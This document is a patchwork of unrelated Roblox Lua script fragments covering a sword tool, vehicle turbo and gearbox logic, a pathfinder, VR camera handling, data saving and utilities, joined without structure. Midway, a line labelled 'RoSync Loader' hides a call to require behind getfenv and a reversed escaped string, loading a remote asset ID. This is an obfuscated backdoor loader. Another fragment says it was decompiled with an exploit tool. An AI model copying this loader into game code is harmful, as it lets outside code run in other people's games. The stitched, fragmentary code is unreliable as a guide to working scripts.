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-- Setting up names for the collision groups. PhysicsService handles everything with -- the name of the group rather than referencing the group itself, so saving these -- in strings helps keep things consistant
local playerGroup = "Players" local npcGroup = "NPCs"
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 140 , spInc = 10 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 220 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 240 , spInc = 20 , -- Increment between labelled notches } }
--If the above is true, what should they chat to force respawn?
force_respawn = "respawn"
-------- OMG HAX
r = game:service("RunService") local damage = 5 --Damage for touching the sword local slash_damage = 10 --Damage When slashed local lunge_damage = 30 --Damage When lunged at (Edit these for every sword) sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) if (hit.Parent == nil) then return end -- happens when bullet hits sword local humanoid = hit.Parent:findFirstChild("Zombie") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then tagHumanoid(humanoid, vPlayer) print("My Player =", vPlayer.Name) humanoid:TakeDamage(damage) wait(3) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = Instance.new("BodyVelocity") force.velocity = Vector3.new(0,10,0) --Tool.Parent.Torso.CFrame.lookVector * 80 force.Parent = Tool.Parent.Torso wait(.25) swordOut() wait(.25) force.Parent = nil wait(.5) swordUp() damage = slash_damage end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end function swordAcross() -- parry end Tool.Enabled = true local last_attack = 0 function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end t = r.Stepped:wait() if (t - last_attack < .2) then lunge() else attack() end last_attack = t --wait(.5) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
---------------- --[[SETTINGS]]-- ----------------
local ViewAccessories = false local ViewHeadAccessories = false local RealisticView = true local AutoLockFirstPerson = true
--notes --rpm = 11000 / 100000 = 0.1, rpm = 1000 / 100000 = 0.01 * 4 = 0.04
Values.Values.RPM.Changed:connect(function() Throttle = Values.Values.Throttle.Value CurrentGear = Values.Values.Gear.Value CurrentRPM = Values.Values.RPM.Value if Throttle == 1 then active = true if CPSI < PSI then if Turbos == "Single" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 75000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.1) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end elseif Turbos == "Twin" then if TurboSize == "Small" then CPSI = CPSI + (CurrentRPM / 75000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 8 Values.Values.APSI.Value = CPSI end if TurboSize == "Medium" then CPSI = CPSI + (CurrentRPM / 100000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 10 Values.Values.APSI.Value = CPSI end if TurboSize == "Large" then CPSI = CPSI + (CurrentRPM / 125000) * 4 wait(0.05) Values.Values.PSI.Value = CPSI * 12 Values.Values.APSI.Value = CPSI end end end if CurrentRPM > (_Tune.Redline - 500) and TwoStep == true and boom == true then boom = false if car.Body.Exhaust.E1.S.IsPlaying then else local i = math.random(1,4) i = math.ceil(i) while i >= 1 do car.Body.Exhaust.E2.S:Play() car.Body.Exhaust.E1.Afterburn.Enabled = true car.Body.Exhaust.E2.Afterburn.Enabled = true wait(math.random(0.2,.3)) car.Body.Exhaust.E1.Afterburn.Enabled = false car.Body.Exhaust.E2.Afterburn.Enabled = false i= i - 1 end wait(0.5) boom = true end end end if Throttle <= 0.01 and active == true and Valve == "BOV" then active = false CPSI = 0 if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if BOV.IsPlaying then else BOV:Play() end end if Throttle <= 0.01 and Valve == "Bleed" then if CPSI > 0 then CPSI = CPSI - 0.1 wait(0.05) end if TurboSize == "Large" then Values.Values.PSI.Value = CPSI * 12 elseif TurboSize == "Medium" then Values.Values.PSI.Value = CPSI * 10 elseif TurboSize == "Small" then Values.Values.PSI.Value = CPSI * 8 end Values.Values.APSI.Value = CPSI if active == true then if BOV.IsPlaying then else BOV:Play() active = false end end end end ) if boom == false then wait(math.random(1)) boom = true end
--PUT THIS SCRIPT IN STARTERPACK, STOP DISLIKING IT BECAUSE YOU DIDN'T USE IT RIGHT
local sounds = game:GetService('SoundService') local runtime = game:GetService('RunService') script:WaitForChild('FootstepSounds').Parent = sounds local materials = sounds:WaitForChild('FootstepSounds') local plr = game.Players.LocalPlayer repeat wait() until plr.Character local char = plr.Character local hrp = char.HumanoidRootPart local hum = char.Humanoid local walking hum.Running:connect(function(speed) if speed > hum.WalkSpeed/2 then walking = true else walking = false end end) function getMaterial() local floormat = hum.FloorMaterial if not floormat then floormat = 'Air' end local matstring = string.split(tostring(floormat),'Enum.Material.')[2] local material = matstring return material end local lastmat runtime.Heartbeat:connect(function() if walking then local material = getMaterial() if material ~= lastmat and lastmat ~= nil then materials[lastmat].Playing = false end local materialSound = materials[material] materialSound.Playing = true lastmat = material else for _,sound in pairs(materials:GetChildren()) do sound.Playing = false end end end)
-- non firing
GUI.MobileButtons.FireButton.MouseButton1Up:connect(function() Down = false end)
--!nonstrict
local Type = require(script.Parent.Type) local ElementKind = require(script.Parent.ElementKind) local ElementUtils = require(script.Parent.ElementUtils) local Children = require(script.Parent.PropMarkers.Children) local Symbol = require(script.Parent.Symbol) local internalAssert = require(script.Parent.internalAssert) local config = require(script.Parent.GlobalConfig).get() local InternalData = Symbol.named("InternalData")
--[to install, just put the script in the car's model, not plugins, the car's model itself]
--print("Front"..autoF-1) --print("Back"..autoR)
if autoF - 2 > autoR then shf = false else if math.abs(orderch - 50) < speed then shf = true else if carSeat.Storage.Mode.Value ~= "Snow" then shf = false end end end if autoF - 1 > autoR and script.Parent.Storage.TransmissionType.Value == "HPattern" and currentgear.Value <= 3 then if speed < 20 then if clutch.Clutch.Value > 0.3 and clutch.Clutch.Value < 0.6 and throttle.Value ~= 0 then script.Parent.Functions.Clutch.Value = 0.0001 script.Parent.Functions.Clutch.Override.Value = true script.Parent.Functions.Clutch.Freeze.Value = true else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end else script.Parent.Functions.Clutch.Override.Value = false script.Parent.Functions.Clutch.Freeze.Value = false end
--Do Not Edit--
function Update() if Player.Character.Humanoid.Jump == true then FirstJump = true else FirstJump = false MidJump = false Player.Character.Humanoid.WalkSpeed = 36 -- This change the walkspeed end end Mouse.KeyDown:connect(onKeyDown) Player.Character.Humanoid.Changed:connect(Update)
-----------------------------------PATHER--------------------------------------
local function createNewPopup(popupType) local newModel = Instance.new("ImageHandleAdornment") newModel.AlwaysOnTop = false newModel.Image = "rbxasset://textures/Cursors/Gamepad/[email protected]" newModel.ZIndex = 2 local size = ZERO_VECTOR2 if popupType == "DestinationPopup" then newModel.Color3 = Color3.fromRGB(0, 175, 255) size = Vector2.new(4,4) elseif popupType == "DirectWalkPopup" then newModel.Color3 = Color3.fromRGB(255, 255, 100) size = Vector2.new(4,4) elseif popupType == "FailurePopup" then newModel.Color3 = Color3.fromRGB(255, 100, 100) size = Vector2.new(4,4) elseif popupType == "PatherPopup" then newModel.Color3 = Color3.fromRGB(255, 255, 255) size = Vector2.new(3,3) newModel.ZIndex = 1 end local dataStructure = {} dataStructure.Model = newModel function dataStructure:TweenIn() local tween1 = tweenService:Create(self.Model, TweenInfo.new( 1, Enum.EasingStyle.Elastic, Enum.EasingDirection.Out, 0, false, 0 ),{ Size = size } ) tween1:Play() return tween1 end function dataStructure:TweenOut() local tween1 = tweenService:Create(self.Model, TweenInfo.new( .25, Enum.EasingStyle.Quad, Enum.EasingDirection.In, 0, false, 0 ),{ Size = ZERO_VECTOR2 } ) tween1:Play() return tween1 end function dataStructure:Place(position, dest) -- place the model at position if not self.Model.Parent then self.Model.Parent = workspace.Terrain self.Model.Adornee = workspace.Terrain self.Model.CFrame = CFrame.new(position,dest)*CFrame.Angles(math.pi/2,0,0)-Vector3.new(0,-.2,0) end end return dataStructure end local function createPopupPath(points, numCircles) -- creates a path with the provided points, using the path and number of circles provided local popups = {} local stopTraversing = false local function killPopup(i) -- kill all popups before and at i for iter, v in pairs(popups) do if iter <= i then local tween = v:TweenOut() spawn(function() tween.Completed:wait() v.Model:Destroy() end) popups[iter] = nil end end end local function stopFunction() stopTraversing = true killPopup(#points) end spawn(function() for i = 1, #points do if stopTraversing then break end local includeWaypoint = i % numCircles == 0 and i < #points and (points[#points].Position - points[i].Position).magnitude > 4 if includeWaypoint then local popup = createNewPopup("PatherPopup") popups[i] = popup local nextPopup = points[i+1] popup:Place(points[i].Position, nextPopup and nextPopup.Position or points[#points].Position) local tween = popup:TweenIn() wait(0.2) end end end) return stopFunction, killPopup end local function Pather(character, endPoint, surfaceNormal) local this = {} this.Cancelled = false this.Started = false this.Finished = Signal.Create() this.PathFailed = Signal.Create() this.PathStarted = Signal.Create() this.PathComputing = false this.PathComputed = false this.TargetPoint = endPoint this.TargetSurfaceNormal = surfaceNormal this.MoveToConn = nil this.CurrentPoint = 0 function this:Cleanup() if this.stopTraverseFunc then this.stopTraverseFunc() end if this.MoveToConn then this.MoveToConn:disconnect() this.MoveToConn = nil this.humanoid = nil end this.humanoid = nil end function this:Cancel() this.Cancelled = true this:Cleanup() end function this:ComputePath() local humanoid = findPlayerHumanoid(Player) local torso = humanoid and humanoid.Torso local success = false if torso then if this.PathComputed or this.PathComputing then return end this.PathComputing = true success = pcall(function() this.pathResult = PathfindingService:FindPathAsync(torso.CFrame.p, this.TargetPoint) end) this.pointList = this.pathResult and this.pathResult:GetWaypoints() this.PathComputing = false this.PathComputed = this.pathResult and this.pathResult.Status == Enum.PathStatus.Success or false end return true end function this:IsValidPath() if not this.pathResult then this:ComputePath() end return this.pathResult.Status == Enum.PathStatus.Success end function this:OnPointReached(reached) if reached and not this.Cancelled then this.CurrentPoint = this.CurrentPoint + 1 if this.CurrentPoint > #this.pointList then -- End of path reached if this.stopTraverseFunc then this.stopTraverseFunc() end this.Finished:fire() this:Cleanup() else -- If next action == Jump, but the humanoid -- is still jumping from a previous action -- wait until it gets to the ground if this.CurrentPoint + 1 <= #this.pointList then local nextAction = this.pointList[this.CurrentPoint + 1].Action if nextAction == Enum.PathWaypointAction.Jump then local currentState = this.humanoid:GetState() if currentState == Enum.HumanoidStateType.FallingDown or currentState == Enum.HumanoidStateType.Freefall or currentState == Enum.HumanoidStateType.Jumping then this.humanoid.FreeFalling:wait() -- Give time to the humanoid's state to change -- Otherwise, the jump flag in Humanoid -- will be reset by the state change wait(0.1) end end end -- Move to the next point if this.setPointFunc then this.setPointFunc(this.CurrentPoint) end local nextWaypoint = this.pointList[this.CurrentPoint] if nextWaypoint.Action == Enum.PathWaypointAction.Jump then this.humanoid.Jump = true end this.humanoid:MoveTo(nextWaypoint.Position) end else this.PathFailed:fire() this:Cleanup() end end function this:Start() if CurrentSeatPart then return end this.humanoid = findPlayerHumanoid(Player) if this.Started then return end this.Started = true if SHOW_PATH then -- choose whichever one Mike likes best this.stopTraverseFunc, this.setPointFunc = createPopupPath(this.pointList, 4) end if #this.pointList > 0 then this.MoveToConn = this.humanoid.MoveToFinished:connect(function(reached) this:OnPointReached(reached) end) this.CurrentPoint = 1 -- The first waypoint is always the start location. Skip it. this:OnPointReached(true) -- Move to first point else this.PathFailed:fire() if this.stopTraverseFunc then this.stopTraverseFunc() end end end this:ComputePath() if not this.PathComputed then -- set the end point towards the camera and raycasted towards the ground in case we hit a wall local offsetPoint = this.TargetPoint + this.TargetSurfaceNormal*1.5 local ray = Ray.new(offsetPoint, Vector3_new(0,-1,0)*50) local newHitPart, newHitPos = RayCastIgnoreList(workspace, ray, getIgnoreList()) if newHitPart then this.TargetPoint = newHitPos end -- try again this:ComputePath() end return this end
-- returns where the floor should be placed given the camera subject, nil if anything is invalid
function VRCamera:GetAvatarFeetWorldYValue(): number? local camera = workspace.CurrentCamera local cameraSubject = camera.CameraSubject if not cameraSubject then return nil end if cameraSubject:IsA("Humanoid") and cameraSubject.RootPart then local rootPart = cameraSubject.RootPart return rootPart.Position.Y - rootPart.Size.Y / 2 - cameraSubject.HipHeight end return nil end function VRCamera:UpdateFirstPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) -- transition from TP to FP if self.needsReset then self:StartFadeFromBlack() self.needsReset = false self.stepRotateTimeout = 0.25 self.VRCameraFocusFrozen = true self.cameraOffsetRotation = 0 self.cameraOffsetRotationDiscrete = 0 end -- blur screen edge during movement local player = PlayersService.LocalPlayer local subjectDelta = lastSubjPos - subjectPosition if subjectDelta.magnitude > 0.01 then self:StartVREdgeBlur(player) end -- straight view, not angled down local cameraFocusP = newCameraFocus.p local cameraLookVector = self:GetCameraLookVector() cameraLookVector = Vector3.new(cameraLookVector.X, 0, cameraLookVector.Z).Unit if self.stepRotateTimeout > 0 then self.stepRotateTimeout -= timeDelta end -- step rotate in 1st person local rotateInput = CameraInput.getRotation() local yawDelta = 0 if UserGameSettings.VRSmoothRotationEnabled then yawDelta = rotateInput.X else if self.stepRotateTimeout <= 0.0 and math.abs(rotateInput.X) > 0.03 then yawDelta = 0.5 if rotateInput.X < 0 then yawDelta = -0.5 end self.needsReset = true end end local newLookVector = self:CalculateNewLookVectorFromArg(cameraLookVector, Vector2.new(yawDelta, 0)) newCameraCFrame = CFrame.new(cameraFocusP - (FP_ZOOM * newLookVector), cameraFocusP) return newCameraCFrame, newCameraFocus end function VRCamera:UpdateThirdPersonTransform(timeDelta, newCameraCFrame, newCameraFocus, lastSubjPos, subjectPosition) local zoom = self:GetCameraToSubjectDistance() if zoom < 0.5 then zoom = 0.5 end if lastSubjPos ~= nil and self.lastCameraFocus ~= nil then -- compute delta of subject since last update local player = PlayersService.LocalPlayer local subjectDelta = lastSubjPos - subjectPosition local moveVector = require(player:WaitForChild("PlayerScripts").PlayerModule:WaitForChild("ControlModule")):GetMoveVector() -- is the subject still moving? local isMoving = subjectDelta.magnitude > 0.01 or moveVector.magnitude > 0.01 if isMoving then self.motionDetTime = 0.1 end self.motionDetTime = self.motionDetTime - timeDelta if self.motionDetTime > 0 then isMoving = true end if isMoving and not self.needsReset then -- if subject moves keep old camera focus newCameraFocus = self.lastCameraFocus -- if the focus subject stopped, time to reset the camera self.VRCameraFocusFrozen = true else local subjectMoved = self.lastCameraResetPosition == nil or (subjectPosition - self.lastCameraResetPosition).Magnitude > 1 -- compute offset for 3rd person camera rotation local rotateInput = CameraInput.getRotation() local userCameraPan = rotateInput ~= Vector2.new() local panUpdate = false if userCameraPan then if rotateInput.X ~= 0 then local tempRotation = self.cameraOffsetRotation + rotateInput.X; if(tempRotation < -math.pi) then tempRotation = math.pi - (tempRotation + math.pi) else if (tempRotation > math.pi) then tempRotation = -math.pi + (tempRotation - math.pi) end end self.cameraOffsetRotation = math.clamp(tempRotation, -math.pi, math.pi) if UserGameSettings.VRSmoothRotationEnabled then self.cameraOffsetRotationDiscrete = self.cameraOffsetRotation -- get player facing direction local humanoid = self:GetHumanoid() local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0) -- adjust camera height local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z) local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom -- compute new cframe at height level to subject local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z) local tempCF = CFrame.new(newCameraPos, lookAtPos) tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete) newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude) newCameraCFrame = CFrame.new(newCameraPos, lookAtPos) else local tempRotDisc = math.floor(self.cameraOffsetRotation * 12 / 12) if tempRotDisc ~= self.cameraOffsetRotationDiscrete then self.cameraOffsetRotationDiscrete = tempRotDisc panUpdate = true end end end end -- recenter the camera on teleport if (self.VRCameraFocusFrozen and subjectMoved) or self.needsReset or panUpdate then if not panUpdate then self.cameraOffsetRotationDiscrete = 0 self.cameraOffsetRotation = 0 end VRService:RecenterUserHeadCFrame() self.VRCameraFocusFrozen = false self.needsReset = false self.lastCameraResetPosition = subjectPosition self:ResetZoom() self:StartFadeFromBlack() -- get player facing direction local humanoid = self:GetHumanoid() local forwardVector = humanoid.Torso and humanoid.Torso.CFrame.lookVector or Vector3.new(1,0,0) -- adjust camera height local vecToCameraAtHeight = Vector3.new(forwardVector.X, 0, forwardVector.Z) local newCameraPos = newCameraFocus.Position - vecToCameraAtHeight * zoom -- compute new cframe at height level to subject local lookAtPos = Vector3.new(newCameraFocus.Position.X, newCameraPos.Y, newCameraFocus.Position.Z) if self.cameraOffsetRotation ~= 0 then local tempCF = CFrame.new(newCameraPos, lookAtPos) tempCF = tempCF * CFrame.fromAxisAngle(Vector3.new(0,1,0), self.cameraOffsetRotationDiscrete) newCameraPos = lookAtPos - (tempCF.LookVector * (lookAtPos - newCameraPos).Magnitude) end newCameraCFrame = CFrame.new(newCameraPos, lookAtPos) end end end return newCameraCFrame, newCameraFocus end function VRCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function VRCamera:LeaveFirstPerson() self.inFirstPerson = false self.needsReset = true self:UpdateMouseBehavior() if self.VRBlur then self.VRBlur.Visible = false end end return VRCamera
--[[ Last synced 10/14/2020 09:27 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--// bolekinds
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent script.Parent.MouseButton1Click:Connect(function() if plr.YouCash.Value >= 2000 and game.ServerStorage.ServerData.CatMaid.Value == false then script.Parent.Parent.Parent.Ching:Play() plr.YouCash.Value -= 2000 game.ServerStorage.ServerData.CatMaid.Value = true end end)
-- A set of all stack traces that have called warnOnce.
local onceUsedLocations = {}
-- Implementation of signal w/o bindable event
local Signal = {} Signal.__index = {} function Signal.new() return setmetatable({connections = {}}, Signal) end function Signal:Connect(func) self.connections[func] = func local disconnect = function() self.connections[func] = nil end return disconnect end function Signal:Fire(...) for _, func in pairs(self.connections) do func(...) end end return Signal
-- Model name
print("BlackeyeI's Bending Microphone Loaded")
-----------------------------------------------| Save Stats |------------------------------------------------------------
local DataStoreService = game:GetService("DataStoreService") local myDataStore = DataStoreService:GetDataStore("myDataStore") game.Players.PlayerAdded:Connect(function(player) local leaderstats = Instance.new("Folder") leaderstats.Name = "leaderstats" leaderstats.Parent = player local Time = Instance.new("IntValue") Time.Name = "Level" Time.Parent = leaderstats local playerUserId = "Player"..player.UserId local data local success, errormessage = pcall(function() data = myDataStore:GetAsync(playerUserId) end) if success then Time.Value = data end while wait(1) do player.leaderstats.Time.Value = player.leaderstats.Time.Value + 0 --Don't change it or it will make it go up twice end end) game.Players.PlayerRemoving:Connect(function(player) local playerUserId = "Player"..player.UserId local data = player.leaderstats.Time.Value myDataStore:SetAsync(playerUserId, data) end)
--[[ Examples print(FormatNumber.FormatLong(123456789)) print(FormatNumber.FormatShort(123456789)) print(FormatNumber.FormatLong(123456789.123)) print(FormatNumber.FormatShort(123456789.123)) print(FormatNumber.FormatLong(-123456789.69)) print(FormatNumber.FormatShort(-123456.69)) ]]
-- return FormatNumber
-- reference documentation: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
local charCodeAt = require(script.Parent.String.charCodeAt) local Error = require(script.Parent.Error) local HttpService = game:GetService("HttpService") local function encodeURIComponent(value: string): string local valueLength = utf8.len(value) if valueLength == 0 or valueLength == nil then return "" end -- we don't exhaustively test the whole string for invalid characters like ECMA-262 15.1.3 says local check = charCodeAt(value, 1) if valueLength == 1 then if check == 0xD800 then error(Error.new("URI malformed")) end if check == 0xDFFF then error(Error.new("URI malformed")) end end if check >= 0xDC00 and check < 0xDFFF then error(Error.new("URI malformed")) end local encoded = HttpService:UrlEncode(value) -- reverting encoded chars which are not encoded by JS local result = encoded :gsub("%%2D", "-") :gsub("%%5F", "_") :gsub("%%2E", ".") :gsub("%%21", "!") :gsub("%%7E", "~") :gsub("%%2A", "*") :gsub("%%27", "'") :gsub("%%28", "(") :gsub("%%29", ")") return result end return encodeURIComponent
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color) local brick = Instance.new("Part") brick.BrickColor = color brick.CFrame = cf * CFrame.new(pos + brick.size / 2) brick.Parent = script.Parent.Bricks brick:makeJoints() return brick, pos + brick.size end function buildWall(cf) local color = BrickColor.random() local bricks = {} assert(wallWidth>0) local y = 0 while y < wallHeight do local p local x = -wallWidth/2 while x < wallWidth/2 do local brick brick, p = placeBrick(cf, Vector3.new(x, y, 0), color) x = p.x table.insert(bricks, brick) wait(brickSpeed) end y = p.y end wait(wallLifetime) -- now delete them! while #bricks>0 do table.remove(bricks):Remove() task.wait(brickSpeed/2) end end script.Parent.ChildAdded:connect(function(item) if item.Name=="NewWall" then item:remove() buildWall(item.Value) end end)
-- FIXME Luau: typing class as Object gives: Type '{ @metatable {| __call: <a>(a, ...any) -> Error, __tostring: <b, c>({+ message: b, name: c +}) -> string |}, Error }' could not be converted into 'table'
return function(tbl: any, class: any): boolean if _G.__DEV__ then assert(typeof(class) == "table", "Received a non-table as the second argument for instanceof") end if typeof(tbl) ~= "table" then return false end local ok, hasNew = pcall(function() return class.new ~= nil and tbl.new == class.new end) if ok and hasNew then return true end local seen = { tbl = true } while tbl and typeof(tbl) == "table" do tbl = getmetatable(tbl) if typeof(tbl) == "table" then tbl = tbl.__index if tbl == class then return true end end -- if we still have a valid table then check against seen if typeof(tbl) == "table" then if seen[tbl] then return false end seen[tbl] = true end end return false end
-- Hands
character.LeftHand.Material = Material character.RightHand.Material = Material
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; function v1.new() local v2 = setmetatable({}, v1); v2.lastUpdate = tick(); v2.transparencyDirty = false; v2.enabled = false; v2.lastTransparency = nil; v2.descendantAddedConn = nil; v2.descendantRemovingConn = nil; v2.toolDescendantAddedConns = {}; v2.toolDescendantRemovingConns = {}; v2.cachedParts = {}; return v2; end; function v1.HasToolAncestor(p1, p2) if p2.Parent == nil then return false; end; if p2.Parent:IsA("Tool") then return true; end; if p2.Parent:IsA("Accessory") and string.find(p2.Parent.Name, "Flashlight") then return true; end; return p1:HasToolAncestor(p2.Parent); end; function v1.IsValidPartToModify(p3, p4) if not p4:IsA("BasePart") and not p4:IsA("Decal") then return false; end; return not p3:HasToolAncestor(p4); end; function v1.CachePartsRecursive(p5, p6) if p6 then if p5:IsValidPartToModify(p6) then p5.cachedParts[p6] = true; p5.transparencyDirty = true; end; for v3, v4 in pairs(p6:GetChildren()) do p5:CachePartsRecursive(v4); end; end; end; function v1.TeardownTransparency(p7) for v5, v6 in pairs(p7.cachedParts) do v5.LocalTransparencyModifier = 0; end; p7.cachedParts = {}; p7.transparencyDirty = true; p7.lastTransparency = nil; if p7.descendantAddedConn then p7.descendantAddedConn:disconnect(); p7.descendantAddedConn = nil; end; if p7.descendantRemovingConn then p7.descendantRemovingConn:disconnect(); p7.descendantRemovingConn = nil; end; for v7, v8 in pairs(p7.toolDescendantAddedConns) do v8:Disconnect(); p7.toolDescendantAddedConns[v7] = nil; end; for v9, v10 in pairs(p7.toolDescendantRemovingConns) do v10:Disconnect(); p7.toolDescendantRemovingConns[v9] = nil; end; end; function v1.SetupTransparency(p8, p9) p8:TeardownTransparency(); if p8.descendantAddedConn then p8.descendantAddedConn:disconnect(); end; p8.descendantAddedConn = p9.DescendantAdded:Connect(function(p10) if p8:IsValidPartToModify(p10) then p8.cachedParts[p10] = true; p8.transparencyDirty = true; return; end; if p10:IsA("Tool") then if p8.toolDescendantAddedConns[p10] then p8.toolDescendantAddedConns[p10]:Disconnect(); end; p8.toolDescendantAddedConns[p10] = p10.DescendantAdded:Connect(function(p11) p8.cachedParts[p11] = nil; if p11:IsA("BasePart") or p11:IsA("Decal") then p11.LocalTransparencyModifier = 0; end; end); if p8.toolDescendantRemovingConns[p10] then p8.toolDescendantRemovingConns[p10]:disconnect(); end; p8.toolDescendantRemovingConns[p10] = p10.DescendantRemoving:Connect(function(p12) wait(); if p9 and p12 and p12:IsDescendantOf(p9) and p8:IsValidPartToModify(p12) then p8.cachedParts[p12] = true; p8.transparencyDirty = true; end; end); end; end); if p8.descendantRemovingConn then p8.descendantRemovingConn:disconnect(); end; p8.descendantRemovingConn = p9.DescendantRemoving:connect(function(p13) if p8.cachedParts[p13] then p8.cachedParts[p13] = nil; p13.LocalTransparencyModifier = 0; end; end); p8:CachePartsRecursive(p9); end; function v1.Enable(p14, p15) if p14.enabled ~= p15 then p14.enabled = p15; p14:Update(); end; end; function v1.SetSubject(p16, p17) local v11 = nil; if p17 and p17:IsA("Humanoid") then v11 = p17.Parent; end; if p17 and p17:IsA("VehicleSeat") and p17.Occupant then v11 = p17.Occupant.Parent; end; if not v11 then p16:TeardownTransparency(); return; end; p16:SetupTransparency(v11); end; local u1 = require(script.Parent:WaitForChild("CameraUtils")); function v1.Update(p18) local v12 = tick(); local l__CurrentCamera__13 = workspace.CurrentCamera; if l__CurrentCamera__13 then local v14 = 0; if p18.enabled then local l__magnitude__15 = (l__CurrentCamera__13.Focus.p - l__CurrentCamera__13.CoordinateFrame.p).magnitude; local v16 = l__magnitude__15 < 2 and 1 - (l__magnitude__15 - 0.5) / 1.5 or 0; if v16 < 0.5 then v16 = 0; end; if p18.lastTransparency then local v17 = v16 - p18.lastTransparency; if not false and v16 < 1 and p18.lastTransparency < 0.95 then local v18 = 2.8 * (v12 - p18.lastUpdate); v17 = u1.Clamp(-v18, v18, v17); end; v16 = p18.lastTransparency + v17; else p18.transparencyDirty = true; end; v14 = u1.Clamp(0, 1, u1.Round(v16, 2)); end; if p18.transparencyDirty or p18.lastTransparency ~= v14 then for v19, v20 in pairs(p18.cachedParts) do v19.LocalTransparencyModifier = v14; end; p18.transparencyDirty = false; p18.lastTransparency = v14; end; end; p18.lastUpdate = v12; end; return v1;
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 60 -- cooldown for use of the tool again ZoneModelName = "worst beauty" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[Susupension]]
